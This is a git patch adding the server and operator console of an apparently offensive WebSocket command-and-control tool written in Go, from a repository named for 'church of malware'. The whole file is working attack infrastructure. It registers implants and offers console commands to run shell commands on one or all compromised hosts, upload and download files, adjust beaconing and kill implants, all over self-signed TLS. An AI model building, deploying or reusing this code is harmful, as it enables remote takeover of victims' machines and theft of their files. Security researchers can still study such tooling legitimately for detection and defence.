From 339e24bb90d5294b35ebe2f0a600621097f9e7c6 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Tue, 2 Jun 2026 01:48:25 +0000 Subject: [PATCH] Upload files to "c2_websocket_abuse/cmd/server" --- c2_websocket_abuse/cmd/server/main.go | 560 ++++++++++++++++++++++++++ 1 file changed, 560 insertions(+) create mode 100644 c2_websocket_abuse/cmd/server/main.go diff --git a/c2_websocket_abuse/cmd/server/main.go b/c2_websocket_abuse/cmd/server/main.go new file mode 100644 index 0000000..4b0f999 --- /dev/null +++ b/c2_websocket_abuse/cmd/server/main.go @@ -0,0 +1,560 @@ +package main + +import ( + "bufio" + "crypto/rand" + "crypto/rsa" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/base64" + "encoding/pem" + "flag" + "fmt" + "log" + "math/big" + "net" + "net/http" + "os" + "os/signal" + "strings" + "sync" + "syscall" + "time" + + "github.com/gorilla/websocket" + + "github.com/churchofmalware/c2-websocket-abuse/pkg" +) + +// implantConn wraps a WebSocket connection with metadata. +type implantConn struct { + id string + conn *websocket.Conn + ip string + connected time.Time + mu sync.Mutex +} + +func (ic *implantConn) send(msg *protocol.Message) error { + ic.mu.Lock() + defer ic.mu.Unlock() + return ic.conn.WriteJSON(msg) +} + +// server holds all connected implants and the WebSocket upgrader. +type server struct { + implants map[string]*implantConn + mu sync.RWMutex + upgrader websocket.Upgrader +} + +func newServer() *server { + return &server{ + implants: make(map[string]*implantConn), + upgrader: websocket.Upgrader{ + CheckOrigin: func(r *http.Request) bool { return true }, + ReadBufferSize: 4096, + WriteBufferSize: 4096, + }, + } +} + +func (s *server) addImplant(ic *implantConn) { + s.mu.Lock() + defer s.mu.Unlock() + if old, ok := s.implants[ic.id]; ok { + old.conn.Close() + log.Printf("Replaced existing implant %s", ic.id) + } + s.implants[ic.id] = ic + log.Printf("Implant registered: %s from %s", ic.id, ic.ip) +} + +func (s *server) removeImplant(id string) { + s.mu.Lock() + defer s.mu.Unlock() + delete(s.implants, id) + log.Printf("Implant disconnected: %s", id) +} + +func (s *server) getImplant(id string) *implantConn { + s.mu.RLock() + defer s.mu.RUnlock() + return s.implants[id] +} + +func (s *server) listImplants() []*implantConn { + s.mu.RLock() + defer s.mu.RUnlock() + out := make([]*implantConn, 0, len(s.implants)) + for _, ic := range s.implants { + out = append(out, ic) + } + return out +} + +func (s *server) handleWS(w http.ResponseWriter, r *http.Request) { + conn, err := s.upgrader.Upgrade(w, r, nil) + if err != nil { + log.Printf("Upgrade error: %v", err) + return + } + + // Expect a register message as the first frame + conn.SetReadDeadline(time.Now().Add(10 * time.Second)) + _, raw, err := conn.ReadMessage() + if err != nil { + log.Printf("Read register error: %v", err) + conn.Close() + return + } + msg, err := protocol.UnmarshalMessage(raw) + if err != nil || msg.Type != protocol.TypeRegister { + log.Printf("Invalid register message from %s", r.RemoteAddr) + conn.Close() + return + } + + implantID := msg.ID + if implantID == "" { + implantID = fmt.Sprintf("anon-%d", time.Now().UnixNano()) + } + + ip := r.RemoteAddr + if host, _, err := net.SplitHostPort(ip); err == nil { + ip = host + } + + ic := &implantConn{ + id: implantID, + conn: conn, + ip: ip, + connected: time.Now(), + } + + conn.SetReadDeadline(time.Time{}) + s.addImplant(ic) + + // Pong handler — extends read deadline + conn.SetPongHandler(func(string) error { + conn.SetReadDeadline(time.Now().Add(60 * time.Second)) + return nil + }) + + // Reader loop + go func() { + defer func() { + s.removeImplant(implantID) + conn.Close() + }() + + for { + conn.SetReadDeadline(time.Now().Add(60 * time.Second)) + _, raw, err := conn.ReadMessage() + if err != nil { + if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseNormalClosure) { + log.Printf("Implant %s read error: %v", implantID, err) + } + return + } + + msg, err := protocol.UnmarshalMessage(raw) + if err != nil { + continue + } + + switch msg.Type { + case protocol.TypeHeartbeat: + // Implant alive — no action needed + case protocol.TypeResult: + if msg.Err != "" { + log.Printf("[Error from %s] %s", msg.ID, msg.Err) + } else { + log.Printf("[Result from %s] %s", msg.ID, msg.Data) + } + case protocol.TypePong: + // Response to our ping + default: + log.Printf("Unknown message type from %s: %s", msg.ID, msg.Type) + } + } + }() + + // Ping ticker — every 30 seconds + go func() { + ticker := time.NewTicker(30 * time.Second) + defer ticker.Stop() + for range ticker.C { + ic.mu.Lock() + err := ic.conn.WriteMessage(websocket.PingMessage, []byte("keepalive")) + ic.mu.Unlock() + if err != nil { + return + } + } + }() +} + +// ----- Operator Console ----- + +type operator struct { + server *server + selected string +} + +func (op *operator) run() { + scanner := bufio.NewScanner(os.Stdin) + fmt.Println("╔═══════════════════════════════════════════════╗") + fmt.Println("║ WebSocket Abuse C2 — Operator Console ║") + fmt.Println("╚═══════════════════════════════════════════════╝") + fmt.Println("Commands: list, use , exec , upload ,") + fmt.Println(" download , beacon , broadcast , exit") + fmt.Print("\n> ") + + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line == "" { + fmt.Print("> ") + continue + } + + parts := strings.Fields(line) + if len(parts) == 0 { + fmt.Print("> ") + continue + } + cmd := parts[0] + args := parts[1:] + + switch cmd { + case "list": + op.cmdList() + case "use": + if len(args) < 1 { + fmt.Println("Usage: use ") + } else { + op.cmdUse(args[0]) + } + case "exec": + if op.selected == "" { + fmt.Println("No implant selected. Use 'use ' first.") + } else if len(args) < 1 { + fmt.Println("Usage: exec ") + } else { + op.cmdExec(strings.Join(args, " ")) + } + case "upload": + if op.selected == "" { + fmt.Println("No implant selected. Use 'use ' first.") + } else if len(args) < 2 { + fmt.Println("Usage: upload ") + } else { + op.cmdUpload(args[0], args[1]) + } + case "download": + if op.selected == "" { + fmt.Println("No implant selected. Use 'use ' first.") + } else if len(args) < 1 { + fmt.Println("Usage: download ") + } else { + op.cmdDownload(args[0]) + } + case "beacon": + if op.selected == "" { + fmt.Println("No implant selected. Use 'use ' first.") + } else if len(args) < 1 { + fmt.Println("Usage: beacon ") + } else { + op.cmdBeacon(args[0]) + } + case "broadcast": + if len(args) < 1 { + fmt.Println("Usage: broadcast ") + } else { + op.cmdBroadcast(strings.Join(args, " ")) + } + case "exit": + if op.selected == "" { + fmt.Println("No implant selected. Use 'use ' first.") + } else { + op.cmdExit() + } + case "help": + fmt.Println("Commands:") + fmt.Println(" list — Show connected implants") + fmt.Println(" use — Select an implant") + fmt.Println(" exec — Run command on selected implant") + fmt.Println(" upload — Upload file to implant") + fmt.Println(" download — Download file from implant") + fmt.Println(" beacon — Change beacon interval") + fmt.Println(" broadcast — Run command on all implants") + fmt.Println(" exit — Disconnect selected implant") + fmt.Println(" help — Show this help") + default: + fmt.Printf("Unknown command: %s\n", cmd) + } + + if cmd != "list" { + fmt.Print("> ") + } + } +} + +func (op *operator) cmdList() { + implants := op.server.listImplants() + if len(implants) == 0 { + fmt.Println("No implants connected.") + return + } + + fmt.Println() + fmt.Println(strings.Repeat("─", 80)) + fmt.Printf("%-4s %-24s %-20s %-20s %s\n", "#", "IMPLANT ID", "IP", "CONNECTED", "STATUS") + fmt.Println(strings.Repeat("─", 80)) + for i, ic := range implants { + mark := "" + if ic.id == op.selected { + mark = "← selected" + } + fmt.Printf("%-4d %-24s %-20s %-20s %s\n", i+1, ic.id, ic.ip, ic.connected.Format(time.RFC3339), mark) + } + fmt.Println(strings.Repeat("─", 80)) + fmt.Printf("Total: %d implant(s)\n\n", len(implants)) +} + +func (op *operator) cmdUse(id string) { + ic := op.server.getImplant(id) + if ic == nil { + fmt.Printf("Implant '%s' not found. Use 'list' to see connected implants.\n", id) + return + } + op.selected = id + fmt.Printf("Selected implant: %s (%s) connected since %s\n", id, ic.ip, ic.connected.Format(time.RFC3339)) +} + +func (op *operator) cmdExec(command string) { + ic := op.server.getImplant(op.selected) + if ic == nil { + fmt.Printf("Implant '%s' is no longer connected.\n", op.selected) + op.selected = "" + return + } + msg := protocol.NewMessage(protocol.TypeExec, op.selected, command) + if err := ic.send(msg); err != nil { + fmt.Printf("Send error: %v\n", err) + return + } + fmt.Printf("Sent exec to %s: %s\n", op.selected, command) +} + +func (op *operator) cmdUpload(local, remote string) { + data, err := os.ReadFile(local) + if err != nil { + fmt.Printf("Read file error: %v\n", err) + return + } + encoded := base64.StdEncoding.EncodeToString(data) + + ic := op.server.getImplant(op.selected) + if ic == nil { + fmt.Printf("Implant '%s' is no longer connected.\n", op.selected) + op.selected = "" + return + } + + payload := fmt.Sprintf("%s|%s", remote, encoded) + msg := protocol.NewMessage(protocol.TypeUpload, op.selected, payload) + if err := ic.send(msg); err != nil { + fmt.Printf("Send error: %v\n", err) + return + } + fmt.Printf("Uploading %s → %s on %s (%d bytes)\n", local, remote, op.selected, len(data)) +} + +func (op *operator) cmdDownload(remote string) { + ic := op.server.getImplant(op.selected) + if ic == nil { + fmt.Printf("Implant '%s' is no longer connected.\n", op.selected) + op.selected = "" + return + } + msg := protocol.NewMessage(protocol.TypeDownload, op.selected, remote) + if err := ic.send(msg); err != nil { + fmt.Printf("Send error: %v\n", err) + return + } + fmt.Printf("Requested download of %s from %s\n", remote, op.selected) +} + +func (op *operator) cmdBeacon(interval string) { + ic := op.server.getImplant(op.selected) + if ic == nil { + fmt.Printf("Implant '%s' is no longer connected.\n", op.selected) + op.selected = "" + return + } + msg := protocol.NewMessage(protocol.TypeBeacon, op.selected, interval) + if err := ic.send(msg); err != nil { + fmt.Printf("Send error: %v\n", err) + return + } + fmt.Printf("Set beacon interval to %ss on %s\n", interval, op.selected) +} + +func (op *operator) cmdBroadcast(command string) { + implants := op.server.listImplants() + if len(implants) == 0 { + fmt.Println("No implants connected.") + return + } + sent := 0 + for _, ic := range implants { + msg := protocol.NewMessage(protocol.TypeExec, ic.id, command) + if err := ic.send(msg); err != nil { + fmt.Printf("Send to %s error: %v\n", ic.id, err) + continue + } + sent++ + } + fmt.Printf("Broadcast 'exec %s' to %d/%d implants\n", command, sent, len(implants)) +} + +func (op *operator) cmdExit() { + ic := op.server.getImplant(op.selected) + if ic == nil { + fmt.Printf("Implant '%s' is no longer connected.\n", op.selected) + op.selected = "" + return + } + msg := protocol.NewMessage(protocol.TypeExit, op.selected, "") + if err := ic.send(msg); err != nil { + fmt.Printf("Send error: %v\n", err) + return + } + fmt.Printf("Sent exit to %s\n", op.selected) + op.selected = "" +} + +// ----- TLS Cert Generation ----- + +func ensureCertificates(certPath, keyPath string, hosts ...string) error { + // If both files exist, nothing to do + if _, err := os.Stat(certPath); err == nil { + if _, err := os.Stat(keyPath); err == nil { + return nil + } + } + + log.Printf("Generating self-signed TLS certificate (%s, %s)...", certPath, keyPath) + + priv, err := rsa.GenerateKey(rand.Reader, 4096) + if err != nil { + return fmt.Errorf("generate key: %w", err) + } + + serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) + if err != nil { + return fmt.Errorf("generate serial: %w", err) + } + + template := x509.Certificate{ + SerialNumber: serialNumber, + Subject: pkix.Name{ + Organization: []string{"WebSocket Abuse C2"}, + CommonName: "c2.local", + }, + NotBefore: time.Now().Add(-1 * time.Hour), + NotAfter: time.Now().Add(365 * 24 * time.Hour), + KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + BasicConstraintsValid: true, + } + + if len(hosts) > 0 { + template.DNSNames = hosts + } else { + template.DNSNames = []string{"localhost", "c2.local"} + } + template.IPAddresses = append(template.IPAddresses, net.ParseIP("127.0.0.1")) + + derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) + if err != nil { + return fmt.Errorf("create cert: %w", err) + } + + certOut, err := os.Create(certPath) + if err != nil { + return fmt.Errorf("create %s: %w", certPath, err) + } + defer certOut.Close() + if err := pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}); err != nil { + return fmt.Errorf("encode cert: %w", err) + } + + keyOut, err := os.Create(keyPath) + if err != nil { + return fmt.Errorf("create %s: %w", keyPath, err) + } + defer keyOut.Close() + privBytes := x509.MarshalPKCS1PrivateKey(priv) + if err := pem.Encode(keyOut, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: privBytes}); err != nil { + return fmt.Errorf("encode key: %w", err) + } + + log.Printf("Self-signed certificate generated (valid for 365 days)") + return nil +} + +func main() { + addr := flag.String("addr", ":8443", "Listen address (host:port)") + certFile := flag.String("cert", "server.crt", "TLS certificate file") + keyFile := flag.String("key", "server.key", "TLS private key file") + flag.Parse() + + // Ensure TLS certs exist + if err := ensureCertificates(*certFile, *keyFile); err != nil { + log.Fatalf("Certificate setup failed: %v", err) + } + + // Load TLS config + cert, err := tls.LoadX509KeyPair(*certFile, *keyFile) + if err != nil { + log.Fatalf("Load TLS cert: %v", err) + } + tlsConfig := &tls.Config{ + Certificates: []tls.Certificate{cert}, + MinVersion: tls.VersionTLS12, + } + + s := newServer() + http.HandleFunc("/ws", s.handleWS) + + fmt.Printf("WebSocket C2 server starting on wss://%s/ws\n", *addr) + + // Graceful shutdown + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + + // Operator console in a goroutine + go func() { + op := &operator{server: s} + op.run() + }() + + listener, err := tls.Listen("tcp", *addr, tlsConfig) + if err != nil { + log.Fatalf("TLS listen: %v", err) + } + + httpServer := &http.Server{Addr: *addr} + go func() { + if err := httpServer.Serve(listener); err != nil && err != http.ErrServerClosed { + log.Fatalf("Server error: %v", err) + } + }() + + <-sigCh + log.Println("Shutting down...") + httpServer.Close() +}